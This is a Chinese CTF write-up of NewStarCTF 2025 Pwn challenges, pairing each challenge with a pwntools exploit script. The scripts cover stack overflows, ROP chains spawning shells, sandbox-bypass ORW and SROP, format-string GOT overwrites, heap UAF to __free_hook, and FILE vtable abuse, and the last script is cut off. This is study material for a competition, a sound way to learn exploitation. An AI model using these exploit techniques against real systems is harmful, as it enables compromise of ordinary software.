参加的第一个CTF比赛,仅保留 Pwn 部分
最后靠着 Pwn 到了校内第二名
缺两道题 (content和llama-pwn)
Week 1
GNU Debugger
操作内容:
使用r <server_ip> <server_port>运行
关卡 1: 找到r12的值,输入c继续
关卡 2: tel 0x402457得到GDB_IS_POWERFUL
关卡 3: b *0x400fa9,接着c即可
关卡 4: set {int}0x7fffffffdf04 = 0xdeadbeef 修改值
INTbug
操作内容:
IDA反编译,进入func(),发现任意输入一个正数,16位int的v1存在溢出漏洞,发送32768次后变为负数
from pwn import *
# p = process('./INTbug')p = remote('xxx', xxx)
payload = b'1'
p.recvuntil(b'welcome to NewStarCTF2025!\n\n')
for i in range(32768): p.sendline(payload)
p.interactive()pwn’s door
操作内容:
IDA反编译,发现输入7038329即可获得sh,然后cat flag
overflow
操作内容:
checksec,发现没有保护
IDA反编译,发现使用gets读入,存在栈溢出
发现后门函数backd00r,地址0x401200
直接ret2text(需要使用ret平衡)
from pwn import *
# p = process('./overflow')p = remote("xxx", xxx)
payload = b'A' * (0x100 + 8) + p64(0x401016) + p64(0x401200)
p.sendlineafter(b'Enter your input:\n', payload)
p.interactive()input_function
操作内容:
checksec,开启了NX和PIE
IDA反编译,发现程序直接运行输入的东西
使用shellcraft.sh()生成64位的execve(“/bin/sh”, 0, 0)函数对应的asm
from pwn import *
context(arch='amd64', os='linux')
# p = process('./input_function')p = remote("xxx", xxx)
payload = asm(shellcraft.sh())
p.recvuntil(b')\n')p.send(payload)
p.interactive()Week 2
刻在栈里的秘密
操作内容:
RSI到密码距离为24
使用%24$p %24$s得到地址和密码
input_small_function
操作内容:
程序读取0x14 (20) 的内容并直接执行
尝试调用read(0, 某个地址, 0x500)并跳转过去
利用xor设0,比mov小
然后直接生成sh字节码
from pwn import *
context(arch='amd64', os='linux')context.terminal = ["tmux", "splitw", "-h"]
# p = process('./input_small_function')p = remote("xxx", xxx)
payload = """ xor eax, eax xor edi, edi lea rsi, [rip + 0x50] mov edx, 0x500 syscall jmp rsi"""compiled = asm(payload)print(len(compiled))assert len(compiled) <= 20p.recvuntil(b')\n')# gdb.attach(p)p.send(compiled.ljust(20, b'\x00'))
payload = shellcraft.sh()compiled = asm(payload)p.send(compiled)
p.interactive()syscall
操作内容:
程序开启了Canary,但似乎没有用?
由于是32位程序,使用eax=0xb, ebx=“/bin/sh”, ecx=0, edx=0, int 0x80调用execve
没有现成的/bin/sh,尝试写入bss段
这里使用了0x080b431c : mov dword ptr [eax + 0x4c], edx ; ret辅助
from pwn import *
context(arch="i386", log_level="debug")context.terminal = ["tmux", "splitw", "-h"]
# p = process('./syscall')p = remote("xxx", xxx)elf = ELF('./syscall')
bss = elf.bss() + 0x100int_0x80 = 0x08049c0aeax = 0x080b438aebx = 0x08049022ecx = 0x0804985aedx = 0x0804985cmov_in_eax_0x4c_edx = 0x080b431c
payload = b'\x00'*(0x12+4)payload += p32(eax) + p32(bss)payload += p32(edx) + b'/bin'payload += p32(mov_in_eax_0x4c_edx)payload += p32(eax) + p32(bss + 4)payload += p32(edx) + b'/sh\x00'payload += p32(mov_in_eax_0x4c_edx)payload += p32(eax) + p32(0xb)payload += p32(ebx) + p32(bss + 0x4c)payload += p32(ecx) + p32(0)payload += p32(edx) + p32(0)payload += p32(int_0x80)
p.recvuntil(b'pwn it guys!\n')# gdb.attach(p)p.send(payload)
p.interactive()no shell
操作内容:
流程:不输入Y/y,2,2. Get the power of your cat, 1. Check your power
沙箱阻止了execve,使用ORW得到flag
用mov rdi, rax传递open的fd号
from pwn import *
context(arch="amd64", os="linux", log_level="debug")context.terminal = ["tmux", "splitw", "-h"]
# p = process("./noshell")p = remote("xxx", xxx)elf = ELF("./noshell")
bss_start = elf.bss() + 0x100
rdi = 0x4013f3rsi = 0x4013f5rdx = 0x4013f7ret = 0x40101a
p.sendlineafter(b'something?\n', b'0')p.sendlineafter(b'flag?\n', b'2')p.sendlineafter(b'your choice: ', b'2')p.sendlineafter(b'your choice: ', b'1')
payload = b'\x00'*(0x20+8) + p64(rdi) + p64(0) + p64(rsi) + p64(bss_start) + p64(rdx) + p64(7) + p64(elf.plt['read'])payload += p64(rdi) + p64(bss_start) + p64(rsi) + p64(0) + p64(elf.plt['open'])payload += p64(0x4013f9) + p64(rsi) + p64(bss_start + 0x100) + p64(rdx) + p64(0x30) + p64(elf.plt['read'])payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss_start + 0x100) + p64(rdx) + p64(0x30) + p64(elf.plt['write'])
p.sendafter(b'say something:\n', payload)
p.send(b'./flag\x00')
p.interactive()calc_beta
操作内容:
进入edit_numbers后,栈结构长这样:
| rsp |
|---|
| … (有Canary) |
| rbp |
| rip -> main |
| s[136] |
| … |
而index没有检查<=0,所以修改位置0(&s[8 * (0-1)])刚好就是rip,其他东西以数字形式放入s[]
使用libc2csu
from pwn import *
context(arch="amd64", os="linux", log_level="debug")context.terminal = ["tmux", "splitw", "-h"]
# p = process('./calc')p = remote("xxx", xxx)elf = ELF('./calc')libc = ELF('./libc.so.6')
bss = elf.bss() + 0x100main = 0x4010B4gadget1 = 0x40124Agadget2 = 0x401230
def edit(index, value): if value == 0: return p.sendafter(b'> ', b'2') p.sendafter(b'> ', str(index).encode()) p.sendafter(b'> ', str(value).encode())
# 泄露write -> libc地址edit(1, 0)edit(2, 1)edit(3, elf.got['write'])edit(4, 1)edit(5, elf.got['write'])edit(6, 6)edit(7, gadget2)edit(8, 0)edit(9, 0)edit(10, 0)edit(11, 0)edit(12, 0)edit(13, 0)edit(14, 0)edit(15, main)edit(0, gadget1)
write_addr = u64(p.recv(6).ljust(8, b'\x00'))log.success(hex(write_addr))libc_addr = write_addr - libc.sym['write']log.success(hex(libc_addr))system_addr = libc_addr + libc.sym['system']
# 将'/bin/sh\x00'放入bssedit(1, 0)edit(2, 1)edit(3, elf.got['read'])edit(4, 0)edit(5, bss)edit(6, 8)edit(7, gadget2)edit(8, 0)edit(9, 0)edit(10, 0)edit(11, 0)edit(12, 0)edit(13, 0)edit(14, 0)edit(15, main)edit(0, gadget1)p.send(b'/bin/sh\x00')
# 调用systemedit(1, bss)edit(2, 0x4006b6) # retedit(3, system_addr)# gdb.attach(p)edit(0, 0x401253) # pop rdi ; ret
p.interactive()Week 3
fmt and canary
操作内容:
输入AAAAAAAA %p %p %p %p %p %p %p %p,得知偏移为6
通过调试得Canary位于6+5=11,(__libc_start_main+128) 位于6+27=33
输入end后使用ret2libc
from pwn import *
context(arch='amd64', log_level='debug')context.terminal = ['tmux', 'splitw', '-h']
# p = process('./fmt_canary')p = remote('xxx', xxx)elf = ELF('./fmt_canary')libc = ELF('./libc.so.6')
p.recvuntil(b'!\n')p.send(b'%11$p'.ljust(8, b'\x00'))
recv = p.recv(18)print(str(recv[2:]))canary = int(recv.decode(), 16)success(f"Canary -> {hex(canary)}")
p.recvuntil(b'!\n')# gdb.attach(p)p.send(b'%33$p\n'.ljust(8, b'\x00'))
recv = p.recvline()libc_base = int(recv.strip().decode(), 16) - (libc.sym['__libc_start_main'] + 128)success(f"libc_base -> {hex(libc_base)}")
p.recvuntil(b'!\n')p.send(b'end\n')
p.recvuntil(b'QwQ:')payload = b'\x00'*40 + p64(canary) + p64(0) + p64(libc_base + 0x02a3e5) + p64(libc_base + 0x1d8678) + p64(0x40101a) + p64(libc_base + libc.sym['system'])p.send(payload)
p.interactive()sandbox_plus
操作内容:
seccomp-tools dump查看,发现禁用了execve和常规orw
这里使用openat+readv+writev
这里内存开在了0x114000~0x115000
需要提前把iov结构体放在某个地方
from pwn import *
context(arch='amd64')context.terminal = ['tmux', 'splitw', '-h']
# p = process('./sandbox_plus')p = remote('xxx', xxx)
# gdb.attach(p)
# struct iovec{# void __user* iov_base;# __kernel_size_t iov_len;# }
shellcode = shellcraft.openat(-100, "./flag", 0, 0) # AT_FDCWD(-100),指定路径为当前路径shellcode += f''' mov qword ptr [0x114200], 0x114300 mov qword ptr [0x114208], 0x30'''shellcode += shellcraft.readv(3, 0x114200, 1)shellcode += shellcraft.writev(1, 0x114200, 1)
print(shellcode)
p.sendafter(b')\n', asm(shellcode))
p.interactive()calc_meow
操作内容:
程序开启了PIE,首先想方法获得程序基址
调试发现calc()里rip位置指向 (main + 245) 位置
由于调用show_numbers()后只能修改一次,必须通过计算的方法放入数据
泄露libc地址后,使用ret2libc
from pwn import *
context(arch="amd64", os="linux", log_level="debug")context.terminal = ["tmux", "splitw", "-h"]
# p = process('./calc')p = remote('xxx', xxx)elf = ELF('./calc')libc = ELF('./libc.so.6')
ret = 0x00101ardi_ret = 0x001d11
def edit(index, value): if value == 0: return p.sendafter(b'> ', b'2') p.sendafter(b'> ', str(index).encode()) p.sendafter(b'> ', str(value).encode())
def add(index1, index2, index3): p.sendafter(b'> ', b'1') p.sendafter(b'> ', str(index1).encode()) p.sendafter(b'> ', str(index2).encode()) p.sendafter(b'> ', str(index3).encode())
def sub(index1, index2, index3): p.sendafter(b'> ', b'2') p.sendafter(b'> ', str(index1).encode()) p.sendafter(b'> ', str(index2).encode()) p.sendafter(b'> ', str(index3).encode())
edit(16, elf.sym['main'] + 245)edit(15, rdi_ret)edit(1, elf.got['puts'])edit(2, elf.plt['puts'])edit(3, elf.sym['main'])
p.sendafter(b'> ', b'4') # enter calc
sub(0, 16, 16) # 16 -> p_basefor i in range(1, 4): add(i, 16, i)add(15, 16, 0)
p.sendafter(b'> ', b'6') # leave calc
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']log.success(f'libc_base ----> {hex(libc_base)}')
edit(0, libc_base + 0xebd43) # one_gadget
p.interactive()only_read
操作内容:
程序禁用了execve,使用orw
gift()提供了srop的机会和syscall ; ret
利用main的两次read,可以实现栈迁移
流程:栈迁移 -> ret gift -> 设置寄存器 -> syscall ; ret -> gift …
from pwn import *
context(arch='amd64', log_level='debug')context.terminal = ['tmux', 'splitw', '-h']
# p = process('./srop')p = remote('xxx', xxx)elf = ELF('./srop')
bss = elf.bss(0x200)syscall_ret = 0x40136Dgift = 0x401366
payload = b'\x00'*0x10 + p64(bss - 0x30) + p64(0x401349)p.send(payload)
sleep(1)
payload = p64(bss - 0x10)*3 + p64(gift)frame = SigreturnFrame()frame.rax = constants.SYS_readframe.rdi = 0frame.rsi = bss - 0x8frame.rdx = 0x400frame.rsp = bssframe.rbp = bss + 0x100frame.rip = syscall_retpayload += bytes(frame)p.send(payload[:0x100])
payload = p64(0x67616c662f2e) # "./flag" <- bss - 0x8payload += p64(gift) # <- bssframe = SigreturnFrame()frame.rax = constants.SYS_openframe.rdi = bss - 0x8frame.rsi = 0frame.rdx = 0frame.rsp = bss + 0x100 # 刚好到下面的gift地址frame.rbp = bss + 0x100 + 0x100frame.rip = syscall_retpayload += bytes(frame)payload += p64(gift)frame = SigreturnFrame()frame.rax = constants.SYS_readframe.rdi = 3frame.rsi = bss - 0x100 # 文件内容 <- bss - 0x100frame.rdx = 0x30frame.rsp = bss + 0x100 + 0x100frame.rbp = bss + 0x100 + 0x100 + 0x100frame.rip = syscall_retpayload += bytes(frame)payload += p64(gift)frame = SigreturnFrame()frame.rax = constants.SYS_writeframe.rdi = 1frame.rsi = bss - 0x100frame.rdx = 0x30frame.rip = syscall_retpayload += bytes(frame)p.send(payload)
p.interactive()小的明?题问
操作内容:
注意到 user* users; int user_counts, user_size; 在所有线程共用
且没有限制同一个账号的登录
于是随意注册一个账号,用两个客户端同时登录,两次删除
这样就把user_counts降为0,相当于删除了root账号
此时再注册root账号,拿到flag
Week 4
fmt and got
操作内容:
程序是No RELRO,意味着可以随意修改got表
存在后门函数read_flag
所以通过%x$hnn修改单字节来把got_exit改为read_flag地址
from pwn import *
context.arch = "amd64"context.log_level = "debug"context.terminal = ["tmux", "splitw", "-h"]context.bits = 64
# p = process('./fmt_got')p = remote('xxx', xxx)elf = ELF('./fmt_got')
# payload = fmtstr_payload(??, {elf.got['exit']: elf.sym['read_flag']})
# read_flag <- 0x401236 (0x36->54, 0x112->274)# "That's what you want to say... " -> len = 34
payload = b'%20x%14$hhn%220x%15$hhn' # len = 23payload += b'\x00'*7 # len = 7payload += p64(0x403430) + p64(0x403431) # 64 => 8+6=14
print(payload)
# gdb.attach(p)
p.sendafter(b'\n> ', payload)
p.interactive()memory
操作内容:
程序读入了/flag文件,并映射到内存某个位置
之后读入内容放入flag后,使用mprotect使对应位置可执行
沙箱仅允许write和exit
之后清空了所有寄存器,只留rip
在gdb中用search搜索flag,发现就在rip前面一点
from pwn import *
context.arch = "amd64"context.log_level = "debug"context.terminal = ["tmux", "splitw", "-h"]
# p = process('./memory')p = remote('xxx', xxx)
p.recvuntil(b" > ")
shellcode = '''
lea rsp, [rip-0x50] mov al, 1 mov dil, 1 mov rsi, rsp mov rdx, 0x60 syscall
'''
# gdb.attach(p)
p.send(asm(shellcode))
p.interactive()海市蜃楼
操作内容:
city函数放在.init_array段中,在main前执行
其将一些随机字节放入0x10000~0x50000并设为可执行
通过get_sands获得随机种子,如果使用相同随机数生成器就可以得到相同结果
这里使用python的ctypes.CDLL
在随机数据中寻找pop rdi; ret来传参,然后ret2libc
from pwn import *import ctypes
libc_dll = ctypes.CDLL("./libc.so.6")
context.arch = "amd64"# context.log_level = "debug"context.terminal = ["tmux", "splitw", "-h"]context.bits = 64
# p = process('./desert')p = remote('xxx', xxx)elf = ELF('./desert')libc = ELF('./libc.so.6')
ret = 0x40101a
shellcode = ''' pop rdi ret''' # => 95 195
# for c in asm(shellcode):# print(c)
p.sendlineafter(b'>> ', b'1')p.recvuntil(b'?? ')seed = int(p.recvline().decode().split(' ')[0])log.success(f'seed ---> {seed}')libc_dll.srand(seed)
L = []for i in range(0x3FFFF+1): L.append(libc_dll.rand() % 256)
pop_rdi_ret = 0for i in range(0x3FFFF+1): if L[i] == 95 and L[i+1] == 195: pop_rdi_ret = i break
if pop_rdi_ret == 0: log.error("Not Found!") exit(0)
log.success(f'pop_rdi_ret ---> {pop_rdi_ret}')
p.sendlineafter(b'>> ', b'2')p.recvuntil(b'>> ')
payload = b'A'*(0x50+8) + p64(0x10000 + pop_rdi_ret) + p64(elf.got['read']) + p64(ret) + p64(elf.sym['my_puts']) + p64(0x401563)p.send(payload)
s = b''for i in range(6): s += p.recv(1)
libc_base = u64(s.ljust(8, b'\x00')) - libc.sym['read']log.success(f'libc_base ---> {hex(libc_base)}')
p.recvuntil(b'>> ')
payload = b'A'*(0x50) + p64(0) + p64(0x10000 + pop_rdi_ret) + p64(libc_base + 0x1d8678) + p64(ret) + p64(libc_base + libc.sym['system'])
# gdb.attach(p)
p.send(payload)
p.interactive()calc_queen
操作内容:
基本找不到稳定的传参方法,无法直接泄露任何地址
已知main对应栈帧下方有__libc_start_main+128的地址
如果能把main栈帧搞到下面,就可以用calc()计算出libc地址
这里找到了add rsp, 8和pop rbp; ret
在main中使用add rsp, 8并回到main,再进入edit()
就能使edit的栈帧和s[]有部分重叠,使用calc()就能将main的rbp放入s[]
再用pop rbp; ret,就可以成功将栈向下移动32位
重复这个过程,注意向下移动时要迁移保留程序基址
from pwn import *
context(arch="amd64", os="linux", log_level="debug")context.terminal = ["tmux", "splitw", "-h"]
# p = process('./calc')p = remote('xxx', xxx)elf = ELF('./calc')libc = ELF('./libc.so.6')
pop_rbp_ret = 0x001293add_rsp_ret = 0x001CBCrdi_ret = 0x001d11
def edit(index, value): p.sendafter(b'> ', b'2') p.sendafter(b'> ', str(index).encode()) p.sendafter(b'> ', str(value).encode())
def edit2(index, value): p.sendafter(b'> ', str(index).encode()) p.sendafter(b'> ', str(value).encode())
def add(index1, index2, index3): p.sendafter(b'> ', b'1') p.sendafter(b'> ', str(index1).encode()) p.sendafter(b'> ', str(index2).encode()) p.sendafter(b'> ', str(index3).encode())
def sub(index1, index2, index3): p.sendafter(b'> ', b'2') p.sendafter(b'> ', str(index1).encode()) p.sendafter(b'> ', str(index2).encode()) p.sendafter(b'> ', str(index3).encode())
edit(8, elf.sym['main'] + 240)# edit(1, elf.bss(16))# edit(2, 0x001C4E)edit(2, 0x001C4E) # editedit(1, add_rsp_ret) # add rsp, 8 ; ret
p.sendafter(b'> ', b'4') # enter calc
sub(0, 8, 8) # 8 -> p_baseadd(2, 8, 2)add(1, 8, 0)
p.sendafter(b'> ', b'6') # leave calc
# ------------------------------------
edit2(7, 32)edit(5, pop_rbp_ret)edit(4, add_rsp_ret)edit(6, 0x001C4E)
p.sendafter(b'> ', b'4') # enter calc
add(1, 3, 3) # 3 -> rbpadd(3, 7, 3) # rbp += 8add(5, 8, 2) # pop rbp ; retadd(4, 8, 4) # add rsp, 8 ; retadd(6, 8, 6)
p.sendafter(b'> ', b'6') # leave calc
# ------------------------------------
edit2(7, 32)edit(8, 0)edit(6, 0x001C4E)edit(3, add_rsp_ret)edit(5, pop_rbp_ret)
p.sendafter(b'> ', b'4') # enter calc
add(4, 8, 8) # 8 -> p_baseadd(3, 8, 4) # add rsp, 8 ; retsub(3, 3, 3) # 3 = 0add(1, 3, 3) # 3 -> rbpadd(3, 7, 3) # rbp += 8add(5, 8, 2) # pop rbp ; retadd(6, 8, 6)
p.sendafter(b'> ', b'6') # leave calc
# ------------------------------------
edit2(7, 32)edit(8, 0)edit(6, 0x001C4E)edit(3, add_rsp_ret)edit(5, pop_rbp_ret)
p.sendafter(b'> ', b'4') # enter calc
add(4, 8, 8) # 8 -> p_baseadd(3, 8, 4) # add rsp, 8 ; retsub(3, 3, 3) # 3 = 0add(1, 3, 3) # 3 -> rbpadd(3, 7, 3) # rbp += 8add(5, 8, 2) # pop rbp ; retadd(6, 8, 6)
p.sendafter(b'> ', b'6') # leave calc
# ------------------------------------
edit2(7, 32)edit(8, 0)edit(6, 0x001C4E)edit(3, add_rsp_ret)edit(5, pop_rbp_ret)
p.sendafter(b'> ', b'4') # enter calc
add(4, 8, 8) # 8 -> p_baseadd(3, 8, 4) # add rsp, 8 ; retsub(3, 3, 3) # 3 = 0add(1, 3, 3) # 3 -> rbpadd(3, 7, 3) # rbp += 8add(5, 8, 2) # pop rbp ; retadd(6, 8, 6)
p.sendafter(b'> ', b'6') # leave calc
# ------------------------------------
edit2(7, 32)edit(8, 0)edit(6, 0x001C4E)edit(3, add_rsp_ret)edit(5, pop_rbp_ret)
p.sendafter(b'> ', b'4') # enter calc
add(4, 8, 8) # 8 -> p_baseadd(3, 8, 4) # add rsp, 8 ; retsub(3, 3, 3) # 3 = 0add(1, 3, 3) # 3 -> rbpadd(3, 7, 3) # rbp += 8add(5, 8, 2) # pop rbp ; retadd(6, 8, 6)
p.sendafter(b'> ', b'6') # leave calc
# ------------------------------------
edit2(7, 32)edit(8, 0)edit(6, 0x001C4E)edit(3, add_rsp_ret)edit(5, pop_rbp_ret)
p.sendafter(b'> ', b'4') # enter calc
add(4, 8, 8) # 8 -> p_baseadd(3, 8, 4) # add rsp, 8 ; retsub(3, 3, 3) # 3 = 0add(1, 3, 3) # 3 -> rbpadd(3, 7, 3) # rbp += 8add(5, 8, 2) # pop rbp ; retadd(6, 8, 6)
p.sendafter(b'> ', b'6') # leave calc
# ------------------------------------
edit2(7, libc.sym['__libc_start_main']+128)edit(6, 0x02a3e5)edit(3, 0x1d8678)edit(5, libc.sym['system'])edit(4, 0x029139)
p.sendafter(b'> ', b'4') # enter calc
sub(8, 7, 7)add(6, 7, 2)add(3, 7, 3)add(4, 7, 4)add(5, 7, 5)
# gdb.attach(p)
p.sendafter(b'> ', b'6') # leave calc
# edit(0, libc_base + 0xebd43) # one_gadget
p.interactive()Week 5
go?
操作内容:
这是一个Befunge解释器
原始指令表如下:(为了对齐,把\n改为:)
v ,*25 <"v <:>~:25* -|v <t, ,u, >>:|p, > ^n,i,",>^效果为输出input\n,读入直到\n并复读
明显存在模拟栈上的溢出,可修改到指令表
由于按QWORD存入,溢出’ >&&&p<\n’后得到
> & & & p <
:>~:25* -|v <t, ,u, >>:|p, > ^n,i,",>^实现程序的修改
再得到
> & & & p v ^,g&& < ^ <由于p, g没有对参数检查,实现任意程序内地址的读写
读取stdout泄露libc基址
尝试将.got.plt的地址改为one gadget,均不可用(应该吧)
发现&功能可以将输入的数字放入rdi,从而控制rdi
将rand的got地址改为system (因为rand本身无参数)
输入/bin/sh的地址
from pwn import *
context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']
# p = process('./chal')p = remote('xxx', xxx)libc = ELF('./libc.so.6')
def edit1(row, column, c): p.sendline(str(ord(c)).encode()) p.sendline(str(row).encode()) p.sendline(str(column).encode()) p.send(b'9\n9\n9\n')
def edit(row = 9, column = 9, c = '9'): p.sendline(str(ord(c)).encode()) p.sendline(str(row).encode()) p.sendline(str(column).encode())
def edit2(row, column, c): p.sendline(str(c).encode()) p.sendline(str(row).encode()) p.sendline(str(column).encode())
def show(row = 9, column = 9): p.sendline(str(column).encode()) p.sendline(str(row).encode())
p.send(b'A'*255 + b' >&&&p<\n')
p.recvuntil(b'A'*255)
edit1(1, 16, '^')edit1(1, 17, ',')edit1(1, 18, 'g')edit1(1, 19, '&')edit1(1, 20, '&')edit1(1, 56, '<')edit1(2, 16, '^')edit1(2, 56, '<')
# gdb.attach(p, 'b *$rebase(0x001847)\n')
edit(0, 56, 'v')show(0, -2112)edit()show(0, -2111)edit()show(0, -2110)edit()show(0, -2109)edit()show(0, -2108)edit()show(0, -2107)libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['_IO_2_1_stdout_']log.success(f"libc_base -> {hex(libc_base)}")
edit(1, 56, 'v')
addr = libc_base + libc.sym['system']print(hex(addr))
edit2(0, -2280, addr % 256)addr //= 256edit2(0, -2279, addr % 256)addr //= 256edit2(0, -2278, addr % 256)addr //= 256edit2(0, -2277, addr % 256)addr //= 256edit2(0, -2276, addr % 256)addr //= 256edit2(0, -2275, addr % 256)
# gdb.attach(p)
edit(0, 55, '&')p.sendline('0'.encode())edit(0, 56, '?')p.sendline(str(libc_base + next(libc.search('/bin/sh'))).encode())
p.interactive()复读机堂堂归来!复读机堂堂归来!
操作内容:
读入的内容放在了bss段,printf格式化漏洞只能利用栈上原本的信息
存在后门函数win()

按照这个路径修改,先用%6$(h)hn把蓝色箭头所指位置改为rip栈上位置,再通过%26$hhn把rip改为win地址
from pwn import *
context.arch = 'amd64'context.terminal = ['tmux', 'splitw', '-h']
p = process('./bss_fmt')# p = remote('xxx', xxx)
p.recvuntil(b'!\n')
p.recvuntil(b'!\n')p.sendline(b'%p')p_base = int(p.recvline(keepends=False), 16) - 0x004060log.success(f'p_base -> {hex(p_base)}')
p.recvuntil(b'!\n')p.sendline(b'%p %p %p %p %p %p')rip = int(p.recvline(keepends=False).decode().split(' ')[-1], 16) - 0x98log.success(f'rip -> {hex(rip)}')
# gdb.attach(p)
win = p_base + 0x001289log.success(f'win -> {hex(win)}')
p.recvuntil(b'!\n')p.sendline(f'%{rip%(256*256)}c%6$hn'.encode())
p.recvuntil(b'!\n')p.sendline(f'%{win%256}c%26$hhn'.encode())win //= 256
p.recvuntil(b'!\n')p.sendline(f'%{rip%256+1}c%6$hhn'.encode())
p.recvuntil(b'!\n')p.sendline(f'%{win%256}c%26$hhn'.encode())win //= 256
p.recvuntil(b'!\n')p.sendline(f'%{rip%256+2}c%6$hhn'.encode())
p.recvuntil(b'!\n')p.sendline(f'%{win%256}c%26$hhn'.encode())win //= 256
p.recvuntil(b'!\n')p.sendline(f'%{rip%256+3}c%6$hhn'.encode())
p.recvuntil(b'!\n')p.sendline(f'%{win%256}c%26$hhn'.encode())win //= 256
p.recvuntil(b'!\n')p.sendline(f'%{rip%256+4}c%6$hhn'.encode())
p.recvuntil(b'!\n')p.sendline(f'%{win%256}c%26$hhn'.encode())win //= 256
p.recvuntil(b'!\n')p.sendline(f'%{rip%256+5}c%6$hhn'.encode())
p.recvuntil(b'!\n')p.sendline(f'%{win%256}c%26$hhn'.encode())
# gdb.attach(p)
p.interactive()Pwn the world
操作内容:
一个比较暴力的解法,通过elf.disasm强行获取参数
chal总共有5种情况
值得注意的是,循环位移那题scanf %lld读入时要考虑符号位
from pwn import *import z3
context.arch = 'amd64'# context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']
io = remote('xxx', xxx)
def decrypt(v2, constant): solver = z3.Solver()
v1 = z3.BitVec('v1', 64) c = z3.BitVecVal(constant, 64) target = z3.BitVecVal(v2, 64)
value = v1 for i in range(1, 17): value = (value >> 64 - i) ^ (value << i) ^ c
solver.add(value == target)
if solver.check() == z3.sat: model = solver.model() return model[v1].as_long() else: print("ERROR") exit(1)
io.send(b'\n')
for i in range(1, 10001): io.recvuntil(f'Please input the payload of level{i}\n'.encode()) elf = ELF(f'./bins/chal{i}') data = elf.get_section_by_name('.data').data().lstrip(b'\x00') pos = data.find(b'\x00') username = data[0:pos].ljust(0x30, b'\x00') data = data[pos:].lstrip(b'\x00') pos = data.find(b'\x00') password = data[0:pos].ljust(0x30, b'\x00') payload = username + password
core = elf.disasm(elf.sym['core'], 200) # print(core)
rodata = elf.get_section_by_name('.rodata').data()
if b'your gift' in rodata: pos = core.find('movabs rax, ') core = core[pos+12:] pos = core.find('rax, [rbp-') core = core[pos+10:] pos = core.find(']') sz = int(core[0:pos], 16) - 8 pos = core.find('movabs rax, ') core = core[pos+12:] pos = core.find('\n') v = int(core[0:pos], 16) # print(sz) payload += b'\x00'*sz + p64(v) elif b'my gift' in rodata: pos = core.find('ax, 0x') core = core[pos+6:] pos = core.find('ax, 0x') core = core[pos+6:] pos = core.find('ax, 0x') core = core[pos+6:] pos = core.find('\n') sz = int(core[0:pos], 16) payload += (str(0x402000+rodata.find(b'LEVEL PASS')).encode() + b'\n') * (sz+1) payload += b'a\n' elif b'%lld' in rodata: pos = core.find('movabs rax, ') core = core[pos+12:] pos = core.find('\n') v2 = int(core[0:pos], 16) pos = core.find('ax, 0x') core = core[pos+4:] pos = core.find('ax, 0x') core = core[pos+4:] pos = core.find('ax, 0x') core = core[pos+4:] pos = core.find('\n') c = int(core[0:pos], 16) # print(hex(v2)) # print(hex(c)) num = decrypt(v2, c) # print(num) # print(hex(num)) if num > 0x7FFFFFFFFFFFFFFF: # 使用二补码转换:负数值 = 目标值 - 2^64 num = num - (1 << 64) payload += str(num).encode() + b'\n' elif 'backdoor' in elf.symbols: pos = core.find('[rbp-') core = core[pos+5:] pos = core.find(']') sz = int(core[0:pos], 16) payload += b'A'*(sz+8) + p64(elf.sym['backdoor']) + b'a\n'
payload += b'EOF\n'
io.send(payload) log.success(i)
# p = process(f'./bins/chal{i}') # # gdb.attach(p, 'b core\nc\n') # p.send(payload) # p.interactive()
io.interactive()note
操作内容:
有无限制UAF漏洞
(这题想复杂了,UAF直接改tcache链表就能直接申请到__free_hook,不过如果没有edit功能的话应该可以这么做)
用unsorted bin泄露libc基址
申请9个小块,释放7个填满tcache,然后fastbin dup改__free_hook
from pwn import *
context.arch = 'amd64'# context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']
# p = process('./pwn')p = remote('xxx', xxx)
def malloc(index, size, content): p.sendlineafter(b'input your choice >>> ', b'1') p.sendlineafter(b'input index: ', str(index).encode()) p.sendlineafter(b'input size: ', str(size).encode()) p.sendafter(b'input your note: ', content)
def edit(index, content): p.sendlineafter(b'input your choice >>> ', b'2') p.sendlineafter(b'input index: ', str(index).encode()) p.sendafter(b'input your new note: ', content)
def show(index): p.sendlineafter(b'input your choice >>> ', b'3') p.sendlineafter(b'input index: ', str(index).encode())
def free(index): p.sendlineafter(b'input your choice >>> ', b'4') p.sendlineafter(b'input index: ', str(index).encode())
malloc(14, 0x500, b"123")malloc(15, 0x70, b"123")# malloc(3, 0x70, b"123")free(14) # unsorted binshow(14)
p.recvuntil(b'now, show the note: ')addr = u64(p.recv(6).ljust(8, b'\x00'))log.success(f"addr -> {hex(addr)}")
for i in range(9): # 0-8 malloc(i, 0x18, b"aaaa")
for i in range(7): # 0-6 free(i)
free(7)free(8)free(7)
for i in range(7): # 0-6 malloc(i, 0x18, b"aaaa")
malloc(8, 0x18, p64(addr+0x1C48)) # __free_hook
malloc(9, 0x18, b'/bin/sh')
malloc(10, 0x18, b'AAAAA')
malloc(11, 0x18, p64(addr-3786880)) # system
# gdb.attach(p)
free(9)
p.interactive()stdout
操作内容:
读入0xF0大小进stdout
对vtable偏移,使得原本调用__xsputn变成
_IO_wfile_jumps -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode
_lock位置要可读可写(这里用了原来的)
_IO_wfile_seekoff取[fp + 0xa0]作为rax1
这里需要满足几个条件
①
[rax + 0x10]位置小于[rax + 8]位置
②
[rax + 0x20]位置大于[rax + 0x18]位置
_IO_switch_to_wget_mode取[rax1 + 0xe0]作为rax2
再call [rax2 + 0x18]存放的函数地址,rdi为fp,也就是_flags
from pwn import *
context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']
p = process('./FILE')# p = remote('39.106.48.123', 31448)elf = ELF('./FILE')libc = ELF('./libc.so.6')
p.recvuntil(b'The file You are writing to is: ')stdout_addr = int(p.recvline(keepends=False).decode(), 16)log.success(hex(stdout_addr))libc_base = stdout_addr - libc.sym['_IO_2_1_stdout_']log.success(f'libc_base -> {hex(libc_base)}')
